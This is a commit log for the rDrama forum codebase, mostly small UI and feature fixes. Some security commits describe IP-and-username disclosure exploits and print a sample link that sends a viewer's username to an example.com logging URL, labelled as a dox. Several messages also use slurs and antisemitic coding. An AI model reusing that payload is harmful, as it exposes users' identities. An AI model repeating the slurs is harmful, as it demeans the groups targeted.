Aevann1
f95f4f2c97
simplify badge granting/removal
2022-12-07 21:03:06 +02:00
Aevann1
b8eb4384d6
fix midnight theme
2022-12-07 20:56:09 +02:00
Aevann1
bd3f0fcc84
fix 500 error
2022-12-07 19:57:56 +02:00
SneedBot
1b1d997415
sneed
2022-12-07 17:54:10 +00:00
Aevann1
93063516ce
tie transparent theme to backgrounds
2022-12-07 19:53:29 +02:00
Aevann1
75bd617c47
all wpd jannies to grant/remove y'all seeing eye badge
2022-12-07 19:15:53 +02:00
Aevann1
124a86643d
fix markdown preview for polls
2022-12-07 19:12:56 +02:00
mummified-corroding-granny
7a5750a408
Uniformization of verbiage. Purge every dot ( #54 )
...
As one would expect, pointless to have a dot at the end of the subject of a very important message (dot)
Were it not for the extraneous dot, the legitimacy of the message would still be in question due to its lack of verbiage uniformization. The verbiage is "verify" everywhere else except for some parts of the code itself. This is egregious. With this single-commit pull request, we erradicate the last of "Validate".
Co-authored-by: mmadeira <marcos_madeira@outlook.com>
Reviewed-on: rDrama/rDrama#54
Co-authored-by: mummified-corroding-granny <mummified-corroding-granny@noreply.fsdfsd.net>
Co-committed-by: mummified-corroding-granny <mummified-corroding-granny@noreply.fsdfsd.net>
2022-12-07 16:54:18 +00:00
Aevann
81267ef1c6
do this https://stupidpol.site/h/countryclub/post/79285/tired-of-some-cute-twink-jannies/3194721?context=8#context ( #53 )
...
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#53
2022-12-07 16:51:51 +00:00
Aevann1
e8f9d39bcf
discussion -> wall
2022-12-07 11:04:22 +02:00
Aevann1
fee6e7150b
same as last commit
2022-12-07 11:03:02 +02:00
Aevann1
e4b102873d
in jinja, convert some + instances to ~
2022-12-07 10:59:40 +02:00
Aevann1
d01b5dfd9f
add "view entire discussion" to profile walls
2022-12-07 10:55:47 +02:00
Aevann1
4634b45212
fix profile wall push notif titles
2022-12-07 10:48:06 +02:00
Aevann1
1a4600bd95
imagemagick is really cringe
2022-12-07 10:42:23 +02:00
Aevann1
5d2dbee95e
increase MAX_IMAGE_CONVERSION_TIMEOUT from 15 to 30
2022-12-07 10:30:11 +02:00
Aevann1
ab51e97e09
better error message
2022-12-07 10:28:01 +02:00
Aevann1
d781c853f8
force transparent theme on userprofiles with a profile background
2022-12-07 10:23:03 +02:00
Aevann1
a3f1b85e16
fix this https://stupidpol.site/h/programming/post/129189/advent-of-code-day-6/3195992?context=8#context
2022-12-07 09:58:46 +02:00
SneedBot
8e964d5b68
sneed
2022-12-07 07:54:23 +00:00
Aevann1
7d6b5862e4
uncomment commented line lol
2022-12-07 09:53:46 +02:00
Aevann1
3f6d2be5f6
fix chat in midnight theme
2022-12-07 09:52:54 +02:00
Aevann1
14aaed820c
boost scrd.app
2022-12-07 09:36:56 +02:00
Aevann1
55125cf217
remove padding
2022-12-07 08:21:13 +02:00
Aevann1
5e87e53335
make poll limit 20 on rdrama and 30 on wpd
2022-12-07 07:30:03 +02:00
SneedBot
17696b5ca2
sneed
2022-12-06 22:09:50 +00:00
justcool393
6dbad04f08
band-aid fix for frozen session issue on signup ( #50 )
...
through some reason or another, people are somehow getting cookies that aren't prepended with a dot.
this is a problem because both sessions at, as best as I can tell, mix so it tries to read from a different cookie than we write to. this essentially "freezes" the session in place. users are unable to login, logout, signup, toggle poor mode, toggle NSFW, etc.
~~this attempts to delete bad session cookies (i.e. cookies with a domain that don't start with a dot).~~
~~we don't do this on "dotless" domains (and by extension localhost) because browser support for setting cookies on FQDNs that only have one dot has tenuous support among browsers anyway).~~
~~this *may* log some people out, but... their days of being able to do stuff on the site were numbered anyway.~~
**edit: as amazing as this thought was, browsers just wipe the entire cookies completely and there's no way to specifically target dotless cookies. for an issue that affects a few users, better to just tell them to clear their cookies. if *this* doesn't work, delete service-worker.js and be done with the whole service worker crap. forever. permanently. this PR also includes some QOL improvements.**
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#50
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-06 22:07:12 +00:00
justcool393
c12bf5105f
WPD: remove poll limit ( #51 )
...
by request of the wpd mops
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#51
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-06 18:24:41 +00:00
Snakes
9160a853ec
Remove !YOU!.
...
Security mess and stale joke.
2022-12-05 20:06:04 -05:00
Snakes
fe5ffd1bcf
security: sanitize !YOU! in <a href="">.
...
Unlike the recent auto-embed exploits which have been patched, this
requires active user action. However our userbase, like all userbases,
contains quite a few retards and phoneposters who don't check links
before clicking.
Example exploit:
<a href="https://example.com/log?username=!YOU !">Bardfinn Dox</a>
2022-12-05 19:05:02 -05:00
Snakes
616634158c
Narrow approved_embed_hosts for security.
...
Probably will break some peoples' profilecss and irritate the
newsposters, but in light of recent live proven exploits to disclose
user IP & username pairs to remote servers, the broad list of embed
hosts was unsustainable and impossible to prove safe.
We extend is_safe_url to allow whitelisting subdomains, specifically
to solve the s.lain.la open redirect exploit. Also, open media proxies
like external-content.duckduckgo.com were concerning enough, despite
likely being safe, to warrant removal. Anything infrequently used and
difficult to review, or has a reasonable alternative, was also removed.
In general: we want people to be rehosting, and if we want to allow
more external content, we need to run a media proxy. The central issue
is that any user-configurable 302 is a potential disclosure risk, and
Lord knows how many ways there were to get <arbitrarynewssite>.com to
do so. Maybe zero, but the problem is we just don't know.
2022-12-05 18:57:35 -05:00
float-trip
bca9aff068
Disallow !YOU! in URLs. ( #49 )
...
!YOU! + an escape for `approved_embed_hosts` could let you grab the IP and username of everyone who views your comment
https://rdrama.net/post/129053/you-callout-thread/3191218?context=8#context
lain.la has a URL shortener that also works to get around embed hosts, fwiw
Co-authored-by: float trip <float-trip@rdrama.net>
Reviewed-on: rDrama/rDrama#49
Co-authored-by: float-trip <float-trip@noreply.fsdfsd.net>
Co-committed-by: float-trip <float-trip@noreply.fsdfsd.net>
2022-12-05 21:20:59 +00:00
Aevann1
b5b3b9dcc3
fix pin awards
2022-12-05 18:01:13 +02:00
Aevann1
ede58dd886
fix margins
2022-12-05 17:23:41 +02:00
Aevann1
8101e7d91b
fix 500 errors
2022-12-05 17:16:11 +02:00
Aevann1
15088e5eef
add button to remove current profile background
2022-12-05 17:14:53 +02:00
Aevann1
84ec5f5b46
truncate unnecessary logic
2022-12-05 17:10:15 +02:00
Aevann1
847385ad87
fix https://stupidpol.site/h/changelog/post/128866/changelog-added-profile-walls-profile-views/3188365?context=8#context
2022-12-05 16:51:50 +02:00
SneedBot
4ddbd0117f
sneed
2022-12-05 14:38:36 +00:00
Aevann1
2b7f7cef1b
fix marking read from push notifs
2022-12-05 16:38:24 +02:00
Aevann1
99c12a74ad
only show "upload profile background" if user on desktop or uses transparent theme to prevent confusion
2022-12-05 16:30:55 +02:00
Aevann1
ab7144d94a
Revert "only show "upload profile background" if user on desktop or uses transparent theme"
...
This reverts commit 7b0de3e79d
.
2022-12-05 16:25:39 +02:00
SneedBot
8d9c7fe635
sneed
2022-12-05 14:22:33 +00:00
Aevann1
7b0de3e79d
only show "upload profile background" if user on desktop or uses transparent theme
2022-12-05 16:22:19 +02:00
Aevann1
7f1de57ffe
minor log fix
2022-12-05 16:06:11 +02:00
Aevann1
159cb52e46
add looksmax.org to BOOSTED_SITES
2022-12-05 15:59:01 +02:00
Aevann1
4583c3d4eb
cosmetic changes
2022-12-05 08:46:04 +02:00
Aevann1
67136ec707
minor style change
2022-12-05 08:23:42 +02:00
Aevann1
c0169d0dab
fix voting on profile wall
2022-12-05 08:18:37 +02:00
Aevann1
1fead79a86
fix
2022-12-05 08:15:13 +02:00
Aevann1
9dacb7c307
add teamblind.com to boosted sites
2022-12-05 08:13:11 +02:00
Aevann1
f5ef9f431a
fix wall margins
2022-12-05 08:12:46 +02:00
Aevann1
77058d31dc
move pcm sidebar image to top
2022-12-05 07:35:05 +02:00
Aevann1
39ad0bd5f8
fix margins
2022-12-05 07:33:32 +02:00
Aevann1
4e4a0e734a
margin change
2022-12-05 07:29:44 +02:00
Aevann1
bbc33b9331
edit PCM rules
2022-12-05 07:28:15 +02:00
Aevann
18df70caab
allow JL3 to edit rules ( #39 )
...
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#39
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-05 05:22:08 +00:00
Aevann1
77c37b0fd2
same as last commit
2022-12-05 07:01:20 +02:00
Aevann1
e7fbf5f5b9
site background shit
2022-12-05 07:00:44 +02:00
Aevann1
ea934e17b9
fix 500 error
2022-12-05 06:57:27 +02:00
Aevann1
57ffc26fc6
grammar + consistency
2022-12-05 06:56:05 +02:00
Aevann1
868fb1024f
update carp's badge
2022-12-05 06:37:03 +02:00
Aevann
f8aa67fb9a
add button on profile to upload profile background ( #48 )
...
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#48
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-05 04:16:45 +00:00
SneedBot
ef4243f5c0
sneed
2022-12-05 04:12:09 +00:00
Aevann1
87573936e7
disable site background in profiles
2022-12-05 06:05:20 +02:00
Aevann1
aeeeabbfd7
fix margins
2022-12-05 05:43:24 +02:00
Aevann1
3971607aee
fix agendapostered wall comments
2022-12-05 05:08:06 +02:00
Aevann1
13a208ee88
remove stray tabs and spaces
2022-12-05 05:03:10 +02:00
Aevann1
af3b028ca5
add links to individuals comments in walls + fix awards for wall comments
2022-12-05 05:01:50 +02:00
Aevann1
6cfe0fceb4
hide another broken button
2022-12-05 04:33:42 +02:00
Aevann1
29d1d08eb8
hide 2 broken buttons
2022-12-05 04:27:30 +02:00
Aevann1
e9f4f88f24
fix notifs for profile wall replies
2022-12-05 04:19:51 +02:00
Aevann1
d6a219c151
fix this https://rdrama.net/h/changelog/post/128866/changelog-added-profile-walls-profile-views/3186595?context=8#context
2022-12-05 04:11:13 +02:00
Aevann1
1e34625c1f
fix editing wall comments
2022-12-05 04:08:24 +02:00
Aevann1
111832a7d2
fix 500 error
2022-12-05 04:04:14 +02:00
Aevann1
5473cb3084
add snus mentions
2022-12-05 04:01:55 +02:00
Aevann1
f2c4dc429a
fix for MIMW_ID
2022-12-05 04:01:01 +02:00
Aevann1
bfb8eba832
dont do relationship query when not necessary
2022-12-05 03:59:31 +02:00
Aevann1
66aeb82823
add pings for MIMW
2022-12-05 03:57:24 +02:00
Aevann1
dbc64dc487
fix profile wall for logged-outcels
2022-12-05 03:53:09 +02:00
Aevann1
468fd5f5f4
add (((heymoon))) notifs
2022-12-05 03:40:51 +02:00
Aevann1
492c377e8e
show "profile wall" above wall notifs
2022-12-05 03:37:44 +02:00
Aevann1
8d64804724
fix wrong username direct
2022-12-05 03:33:43 +02:00
Aevann1
5070cb4fc0
fix spam check
2022-12-05 03:31:21 +02:00
Snakes
2057c48ebd
Fix userpage walls for logged-out viewers.
2022-12-04 20:23:48 -05:00
Aevann1
14d343dcb3
dont change titles for chudded ppl posting on /h/chudrama
2022-12-05 03:21:47 +02:00
Snakes
d976dcef7e
Update wall_comment for sanitize_poll_options.
2022-12-04 20:05:45 -05:00
Aevann1
cb4d941fd0
add profile wall
2022-12-04 20:05:45 -05:00
Aevann1
814552cdfe
small fix for ppl with progstack=1
2022-12-05 02:45:02 +02:00
Aevann
5850bb26fa
add custom backgrounds paypig feature to compensate for profile views ( #44 )
...
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#44
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-05 00:02:29 +00:00
Aevann1
bae24fe92e
add reload button to ioscels
2022-12-05 01:22:22 +02:00
Snakes
be2b210df4
Remove superfluous #disablepoll command.
...
Already resolved by 29070c78a9
.
2022-12-04 17:15:52 -05:00
justcool393
ed0981cbdb
add functionality to disable poll formatting ( #35 )
...
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#35
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-04 21:46:27 +00:00
Aevann1
892e35b1c3
splash mountain for PCM
2022-12-04 23:28:39 +02:00
Snakes
61dc9c47fd
Restore showing linkpost URLs in submission body.
2022-12-04 15:50:09 -05:00
justcool393
6e1509f2df
admins: let mops who can mop posts see posts regardless of browser ( #45 )
...
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#45
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-04 20:26:39 +00:00
Aevann1
c56ceaf668
allow me and sneks to see apple posts
2022-12-04 22:11:16 +02:00
Aevann1
e66234eb6a
fix offsitementions
2022-12-04 21:48:28 +02:00
Aevann1
da643ea88b
sneed
2022-12-04 21:30:33 +02:00
Aevann1
e0fd83c010
fix app.html if condition
2022-12-04 21:22:53 +02:00
Aevann
3eecec0a51
downloadable videos on apple devices ( #42 )
...
![image](/attachments/bd1b3e1e-c0a9-4eee-9b1c-a03e1e8a8cbd)
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Co-authored-by: Snakes <duolsm@outlook.com>
Co-authored-by: Snakes <snakes@noreply.fsdfsd.net>
Reviewed-on: rDrama/rDrama#42
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-04 19:02:22 +00:00
Aevann
e105035272
remove country club system and replace it with a 3 tier thing: ( #41 )
...
- /h/masterbaiters: 1 TS - for gayops
- /h/countryclub: 1000 TS - for anything requiring secrecy and doesnt need critical mass - have to make it a rule that u cant post gayops in /h/countryclub
- /h/chudrama: 5000 TS - for chad+stud posts
EDIT: i removed the /h/masterbaiters gate, but u can bring it back if u want
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Co-authored-by: Snakes <duolsm@outlook.com>
Reviewed-on: rDrama/rDrama#41
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-04 18:39:06 +00:00
Aevann1
29070c78a9
fix this and related stuff https://stupidpol.site/h/programming/post/128394/advent-of-code-day-3-i/3182179?context=8#context
2022-12-04 17:53:41 +02:00
Aevann1
c0676e198c
convert "var" to "let" and "const"
2022-12-04 17:40:32 +02:00
Aevann1
30405e1841
slur fix
2022-12-04 16:44:59 +02:00
Aevann1
15b5dfcb3a
fix last commit
2022-12-04 03:39:39 +02:00
Aevann1
1bb80046f4
fix last commit
2022-12-04 03:39:09 +02:00
Aevann1
ed834225ae
temp sidebar image
2022-12-04 03:38:04 +02:00
SneedBot
5d1599bc77
sneed
2022-12-04 01:36:15 +00:00
Aevann1
a565c36bff
rename marseybye to marseywave3
2022-12-04 01:27:37 +02:00
Aevann1
36c69cca0a
kofi - only change patron tier when its a supscription
2022-12-04 00:51:52 +02:00
Aevann1
1f675c61e5
minor regex fix for emojis
2022-12-04 00:26:05 +02:00
Aevann1
49263fdd86
Revert "stop using background css property and use its parts instead"
...
This reverts commit e4e67a4424
.
2022-12-04 00:17:35 +02:00
SneedBot
5665bd9a96
sneed
2022-12-03 22:16:04 +00:00
Aevann1
e4e67a4424
stop using background css property and use its parts instead
2022-12-04 00:11:02 +02:00
Aevann1
a92737b85c
re-add kylie slur filter
2022-12-04 00:01:24 +02:00
Aevann1
2deba4d623
"megathread" new sort
2022-12-04 00:01:08 +02:00
Aevann1
8d218c28e2
fix this https://stupidpol.site/h/programming/post/128511/nostalgia-post-heres-a-shitty-tictactoe/3179456?context=8#context
2022-12-03 22:09:12 +02:00
Aevann1
045cb629ae
fix this https://stupidpol.site/h/programming/post/128513/its-another-shoah-soycry
2022-12-03 22:00:10 +02:00
Aevann1
0046e63bc7
boost /h/programming temporarily - revert at will
2022-12-03 21:56:27 +02:00
SneedBot
0659198745
sneed
2022-12-03 19:32:40 +00:00
Aevann1
a13311d72e
sneed
2022-12-03 21:10:59 +02:00
Aevann1
5d3413377d
sneed
2022-12-03 20:57:44 +02:00
Aevann1
a193952c5e
fix this https://stupidpol.site/h/slackernews/post/128394/advent-of-code-day-3-i/3177263?context=8#context
2022-12-03 10:02:26 +02:00
Aevann1
407dcb1282
same as last commit
2022-12-03 07:39:58 +02:00
Aevann1
f28ae7cca1
refresh comment textarea on edit - fixes edge case
2022-12-03 07:27:47 +02:00
Aevann1
fa0bb57253
fix this https://stupidpol.site/post/18459/marseycapywalking-megathread-for-bugs-and-suggestions/3175605?context=8#context
2022-12-03 04:14:01 +02:00
Aevann1
7a14d66944
make "remove background" btn more obvious
2022-12-03 03:58:23 +02:00
Aevann1
8f065a2428
fix award modal on mobile
2022-12-03 02:14:11 +02:00
Snakes
f892b3f821
PCM: add unlisted emoji `:kippy2:`
2022-12-02 19:11:28 -05:00
Aevann1
aad1d72f43
add code so i can make a post that only legacy android app users can see
2022-12-03 01:58:16 +02:00
Snakes
39558a2812
PCM: christmas banners rotation, pt2.
2022-12-02 18:49:03 -05:00
Aevann1
d8292b7601
try different approach to opening push notification
2022-12-03 01:47:35 +02:00
Snakes
64de53e9a9
Fix signup overflowing on mobile, and related.
2022-12-02 18:33:11 -05:00
Aevann1
3907a2f25f
make the gevent sequential
2022-12-03 01:25:48 +02:00
Snakes
9b09181e28
Dispatch push notifications using greenlets.
2022-12-02 18:15:58 -05:00
Aevann1
7a37f9f865
fix sort new buttons on mobile
2022-12-03 01:09:23 +02:00
Aevann1
04e4bea994
fix margin for new sort button on mobile
2022-12-03 01:07:19 +02:00
Snakes
76071397eb
WPD: update sidebar with repost rule.
2022-12-02 17:51:09 -05:00
Snakes
d79465517d
Rename siege log filename.
2022-12-02 17:50:48 -05:00
Aevann1
c01d757dc7
delete legacy route
2022-12-03 00:37:31 +02:00
Aevann1
9947e635ab
make supportjews.webp an image instead
2022-12-03 00:32:51 +02:00
Aevann1
6248042e46
add supportjews emoji and use it in chud message
2022-12-03 00:22:18 +02:00
Aevann
5c2dab73c7
stop using pusher ( #37 )
...
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Co-authored-by: Snakes <duolsm@outlook.com>
Reviewed-on: rDrama/rDrama#37
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-02 22:21:18 +00:00
Aevann1
3542703ced
Revert "make it so only the post author can declare winner and not all admins"
...
This reverts commit 9e1425d93e
.
2022-12-03 00:08:46 +02:00
Aevann1
9e1425d93e
make it so only the post author can declare winner and not all admins
2022-12-03 00:06:57 +02:00
Aevann1
25be392e3b
add soyjak.party to BOOSTED SITES
2022-12-03 00:02:04 +02:00
justcool393
dd80b05553
add cool banner for error pages ( #36 )
...
Hiiiii it's carp! I think this error means that there's a timeout error. And I think that means something took too long to load so it decided not to work at all. If you keep seeing this on the same page <I>but not other pages</I>, then something is probably wrong with that specific function. It may not be called a function, but that sounds right to me. Anyway, <s>ping me and I'll whine to someone smarter to fix it. Don't bother them.</s> <B>After a year and a half of infuriating pings, the new instructions are to quit whining and just wait until it works again oh my god shut UP.</B><BR><BR> Thanks ily <3
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#36
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-02 21:31:21 +00:00
Snakes
15dc9c4cf7
Ensure eg log created if not exists.
2022-12-02 15:35:15 -05:00
Aevann1
9209cf6036
cachebust service-worker.js
2022-12-02 22:33:47 +02:00
Aevann1
0bc09fe9aa
same as last commit
2022-12-02 22:33:08 +02:00
SneedBot
de4d428051
sneed
2022-12-02 20:29:21 +00:00
Aevann1
fe07301993
fix service worker
2022-12-02 22:28:49 +02:00
Aevann1
064b5878f9
add "media" tld
2022-12-02 12:38:07 +02:00
Aevann1
ecc32382b2
Revert " https://www.youtube.com/watch?v=_904EvOUQ_M "
...
This reverts commit 6d0277adc8
.
2022-12-02 00:37:50 +02:00
Snakes
27506b36c2
Fix unbound ORM object erroring during 500 handler.
...
The 500 fixed in 71738b05fc
revealed that attempting to access g.v at
all during an error handler can potentially cause its own error.
In particular, html_head L111 accessing v.themecolor errored because
we roll back the database session during 500 handling. There's no good
solution other than specifically not passing v to 500 error pages.
However, in the interest of failing fast and ensuring error handlers
always complete, we instead go back to the previous behavior of not
treating users as logged in for error pages.
2022-12-01 17:24:41 -05:00
Snakes
71738b05fc
Fix 500 on all non-holed post submissions.
2022-12-01 17:12:57 -05:00
justcool393
0f2f72f2c3
sort by new button ( #34 )
...
also get rid of megathread logic
do the needful and do
```sql
UPDATE submissions SET new=true WHERE title LIKE 'Thread' OR title ILIKE 'megathread';
```
or whatever the proper equivalent is
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#34
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-01 22:04:10 +00:00
Aevann1
68563ec8ff
make collapse icon bigger
2022-12-01 20:31:34 +02:00
Aevann1
e125443d50
make Thread (upper case) sort comments by new, around 20% false positive rate but worth it
2022-12-01 19:49:26 +02:00
Aevann1
6d0277adc8
https://www.youtube.com/watch?v=_904EvOUQ_M
2022-12-01 19:07:14 +02:00
Aevann1
3308734dc7
dont auto-pin if post sub is stealthed
2022-12-01 18:22:33 +02:00
Aevann1
acd4a61232
add dramarama to boosted users
2022-12-01 18:22:00 +02:00
justcool393
fe55c2383c
fix 500 on 500
2022-12-01 10:10:05 -06:00
justcool393
c05a9f335b
Revert "Revert "errors: don't do anything with the user""
...
This reverts commit 3e2ca53f2a
.
2022-12-01 10:07:59 -06:00
Snakes
b04b7e9269
Fix /votes/ downvote listing display.
2022-12-01 10:15:52 -05:00
SneedBot
4847227639
sneed
2022-12-01 15:06:41 +00:00
Snakes
ebc3e9a3f2
Exclude sb'd from vote counts, retain in tables.
...
Addressing the downvote spamming on WPD. Correctly shows jannies which
users are SB'd, shows all voters (sans SB icons) to SB'd users, and
only shows real voters to normies. SB'd users votes are still tracked
so the icons look to them like they're doing something.
2022-12-01 10:06:16 -05:00
Aevann1
4ab8825d35
fix 500 error
2022-12-01 15:19:09 +02:00
SneedBot
e6fc667de1
sneed
2022-12-01 13:12:42 +00:00
Aevann1
12325aaf20
remove signup login-required messages until someone fixes scrolling
2022-12-01 15:12:23 +02:00
Aevann1
12eb23aa6b
midnight - make modal border more subtle
2022-12-01 15:06:54 +02:00
Aevann1
3e2ca53f2a
Revert "errors: don't do anything with the user"
...
This reverts commit b7a24f6fa1
.
2022-12-01 14:58:32 +02:00
Aevann1
8bbc107137
dont give me reddit notifs again
2022-12-01 14:46:58 +02:00
Aevann1
48ba0bfa98
fix hole names in header
2022-12-01 14:28:35 +02:00
Aevann1
238c92b703
make PAGE_SIZES ordered
2022-12-01 14:28:00 +02:00
Aevann1
845e13b4ae
minor bug fix
2022-12-01 14:27:15 +02:00
Snakes
1bc086ad1b
PCM: adjust perms, add christmas banner.
2022-11-30 23:38:25 -05:00
Snakes
4585323275
Fix monthly jannie patron badge granting.
2022-11-30 23:38:25 -05:00
Aevann1
45a36ed726
kofi - order_by not needed anymore
2022-12-01 03:26:47 +02:00
Aevann1
6e6bd81872
better kofi claiming
2022-12-01 03:24:41 +02:00
Snakes
885601e0ab
Fix offsitementions on localhost testing.
2022-11-30 19:24:45 -05:00
Aevann1
f5f660efa9
add logged-out chromium instructions for installing PWA
2022-12-01 01:14:29 +02:00
Aevann1
e0bcc71727
fix notifs
2022-12-01 00:59:56 +02:00
Aevann1
46e0dfb752
make app tooltip easier to dismiss
2022-12-01 00:55:53 +02:00
Aevann1
cbd04b3c38
remove my special case so i can test
2022-12-01 00:44:16 +02:00
Aevann1
7f4691c79d
fix prev commit
2022-12-01 00:33:41 +02:00
Aevann1
e1ed46fa36
rework reddit notifs - testing on pcm lol
2022-12-01 00:29:13 +02:00
Aevann1
d160a1686f
transparent fix
2022-11-30 23:56:33 +02:00
Snakes
d03f3092fa
Adjust badge black/whitelists more.
2022-11-30 16:55:48 -05:00
Aevann1
87ae34966b
badge perm shit
2022-11-30 23:15:10 +02:00
Snakes
5b7572af64
Revert "blizzard submodule"
...
This reverts commit eae0715c10
.
Sorry @geese_suck , looks like more of a pain to deploy than I thought
it'd be. Was a good idea though.
2022-11-30 16:10:20 -05:00
geese_suck
eae0715c10
blizzard submodule
2022-11-30 13:00:28 -08:00
Snakes
312abcbed7
offsitementions: use proper cache key in setter.
2022-11-30 15:44:01 -05:00
justcool393
34f10321fa
antispam: adjust siege threshold
2022-11-30 13:25:32 -06:00
justcool393
e36bd8611a
remove unclosed {{brackets}}
2022-11-30 13:15:06 -06:00
justcool393
d55455d51c
settings: make filename an env var
2022-11-30 13:13:52 -06:00
justcool393
b7a24f6fa1
errors: don't do anything with the user
...
this is an evil context to have a user in do not change this
or i will find you whatever country you're from
2022-11-30 13:07:29 -06:00
justcool393
46f2b805ef
config: fix _SETTINGS dict and stray signups
2022-11-30 13:03:46 -06:00
justcool393
497c9bcff1
logging: don't use \n in f-string
2022-11-30 12:49:22 -06:00
justcool393
d783bc8901
logging: make logging an env var
2022-11-30 12:38:55 -06:00
justcool393
69a44baea7
settings: convert all to snek_case
2022-11-30 12:26:07 -06:00
justcool393
d395bcab69
logging: create somewhat sane logging
2022-11-30 12:09:31 -06:00
justcool393
0106a4e340
antispam: under siege mode
2022-11-30 11:37:35 -06:00
justcool393
b59e4cadaa
login: don't allow logged in users to attempt to login
2022-11-30 10:49:15 -06:00
justcool393
fe9252d42f
settings: potentially fix autofocus on iOS
...
i think autocomplete might be causing this for some reason???
2022-11-30 09:23:40 -06:00
Aevann1
836d3bfd98
include v in errors if possible
2022-11-30 15:21:12 +02:00
Aevann1
01b92fd63a
dont show begging tooltip for apk users
2022-11-30 15:03:15 +02:00
Aevann1
9798d2714d
add blizzard forums and bungie forums to BOOSTED_SITES
2022-11-30 13:51:01 +02:00
Aevann1
8ba44d16cb
switch location of "holes" and "pins"
2022-11-30 13:40:52 +02:00
Aevann1
abe07e7754
this is retarded
2022-11-30 13:35:57 +02:00
Aevann1
93dc0e2cc8
limit smol-fp to only when the HOLES button is present
2022-11-30 13:29:45 +02:00
Aevann1
2561fc4c4e
fix prev commit
2022-11-30 13:24:51 +02:00
Aevann1
4f1c016fc3
fix long hole names in header
2022-11-30 13:24:03 +02:00
Aevann1
8db7c089b3
transparent css shit
2022-11-30 12:28:04 +02:00
Aevann1
59b3b351e1
remove theme_color from rdrama manifest
2022-11-30 12:08:59 +02:00
Aevann1
d3fec8e27c
transparent theme - make reports transparent
2022-11-30 11:48:25 +02:00
justcool393
c0f1b875d0
chat: ratelimit chat lol
...
apparently we haven't done that xdd
2022-11-29 19:36:09 -06:00
justcool393
c315a2a259
amend previous
2022-11-29 19:31:28 -06:00
justcool393
883be4019c
kofi: fix kofi 500
2022-11-29 19:30:33 -06:00
justcool393
db31fc17de
ratelimits: turn off autocheck so we can init
...
required app context globals
2022-11-29 19:29:06 -06:00
justcool393
f2411415dd
fix missing required context variables on 429 and remove flex tape
2022-11-29 19:12:43 -06:00
Aevann1
b6eea4191c
make me able to see reddit mentions again
2022-11-30 02:40:38 +02:00
justcool393
20459a59dd
flex tape patch
2022-11-29 18:06:16 -06:00
Aevann1
de8a45412b
fix /icon.webp
2022-11-30 01:56:11 +02:00
Aevann1
0af31dd658
fix settings2 for transparent theme
2022-11-30 01:54:23 +02:00
Aevann1
880b0e36ab
add subtle border for modals on midnight theme
2022-11-30 01:54:23 +02:00
Aevann1
2004d78226
make userpage on mobile transparent too
2022-11-30 01:54:23 +02:00
Aevann1
82db4ffde5
fix https://stupidpol.site/post/18459/marseycapywalking-megathread-for-bugs-and-suggestions/3157115?context=8#context
2022-11-30 01:54:22 +02:00
justcool393
11059d1665
move calc users to context processor ( #31 )
...
jinja more like i can't think of anything witty
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#31
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-11-29 23:50:32 +00:00
Aevann1
955ec104f2
use the new /icon.webp link everywhere
2022-11-30 01:25:11 +02:00
Aevann
9893ede920
fix browserconfig.xml ( #30 )
...
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#30
2022-11-29 23:19:03 +00:00
Aevann1
cb1842f37b
restore the png icons in manifest (i was bamboozled by MDN)
2022-11-30 01:14:51 +02:00
Aevann1
1137fa2386
update manifests
2022-11-30 01:00:03 +02:00
Aevann1
b6efc27551
use "i" instead of "assets/images"
2022-11-30 00:52:19 +02:00
Aevann1
61f9a0ce3c
use tabs in manifest
2022-11-30 00:47:39 +02:00
Aevann1
cf8ffac192
grammar ocd
2022-11-30 00:42:01 +02:00
Snakes
9fcdd65d38
PCM: improve Kippy's inflationary ergonomics.
2022-11-29 17:18:33 -05:00
justcool393
65236df78a
don't read multiple times etc
2022-11-29 16:11:07 -06:00
justcool393
80466f3150
chat: fix cache commit and stuff idk
2022-11-29 16:02:43 -06:00
geese_suck
d79ad8c1f0
event asset caching
